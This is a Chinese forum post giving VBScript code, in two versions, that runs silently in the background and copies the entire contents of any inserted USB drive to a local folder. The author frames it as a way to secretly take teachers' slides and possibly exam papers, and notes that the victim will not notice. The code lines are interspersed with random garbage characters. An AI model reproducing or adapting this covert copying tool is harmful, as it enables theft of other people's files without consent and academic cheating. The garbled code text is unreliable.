如何让U盘插入自动复制

蝴蝶梦

U盘插入自动复制，有效对付那些不肯给PPT的老师，还有一定几率拿到期末考试卷子···有图有真相！业界良心的好东西！！现在看还来得及！！！
代码优化了一下，把不是很重要的都删掉了，这次使用时看不出任何现象，同样复制U盘里的东西的时候不会出现进度条，完全后台运行。
+ m- ^( E; L4 g5 J同样的建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样

1 D2 K# g0 ]1 j8 J
3 M# i/ W4 R/ H! s( x# Z) ?' c5 F
2 u. ?+ w3 f$ t4 F! B把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
  U* w+ \, F% L2 ~0 `# hon error resume next
, H& w, V% I0 Mdo
: k/ P+ ~* q( |6 Jwscript.sleep 1000
2 F; J" ]  f7 Uif fso.driveexists("U盘的盘符") then
: W# x$ U0 j" T. pfso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
: D8 y2 P5 a# V. c, }end if
loop



注意标颜色的地方要自己改
蓝色的就是要复制到的目录，比如要复制到C盘USB文件夹里，则用C:\USB\代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。
红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:\*代替红色部分，F盘就是f:\*，
第一个U盘的盘符，这个不要*号， 后2个切记不要漏掉*这个符号。
2 s8 [; g  U: F/ [( x
8 t& T" d- M: i$ X5 i3 ?; }
) _! h) @. O4 G. W/ M
; u9 M8 ]1 U5 Q* A/ G# ?复制好也改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。

$ x8 g# {/ S& l+ ^
! v) w( N- U" K2 Z" ^: E
# J) C7 |- p9 Q. X后缀改好以后， 运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了
要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
另外我不是计算机专业的，这个东西目前对插N个U盘只会复制第一个，对插移动硬盘会全部复制···

+ A' z! N* [' o4 E. d

7 H: R$ U* ?7 ], t1 Q6 i8 l" ~3 Y更新：
: x7 `7 x/ w7 S7 w: L现在没空弄这个，有些人弄不来 我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为XX.VBS 使用即可
. J5 Y1 h6 J+ n
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
1 p5 ^9 |2 L5 Q3 Idim USB, file, folder, files
. Z: Y8 v) j" Q. D5 I. y6 fUSB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘，则输入F","插入的U盘盘符","F")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘，请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件，输入xls；默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":\"
. j6 V7 z% Q/ M; E% Bfolder=folder & "\"
3 d% d; I9 ^$ sif files="ALL"then
file=USB & "*"
' P. e5 E& l+ v' l3 helse
# G9 h# o- i8 Nfile=USB & "*." & files
( L+ e1 o2 V, e; f, _" Hend if
$ p: l( l& v" N$ b9 W" Bif FSO.FolderExists(folder) then
4 p/ T: \% u; l$ Pelse
FSO.CreateFolder(folder)
end if
+ Q1 a; m. a5 \5 gon error resume next
do
wscript.sleep 1000
$ `4 Y1 m; {% h" V' l" Eif fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
$ R* p' l6 I* y( Kend if
loop

$ A) e; v# |1 t7 P% P3 \这样就完成了。
6 D. W( S( i/ v- N( c4 e6 ]! a8 F
, N: e) U  O1 B# x" X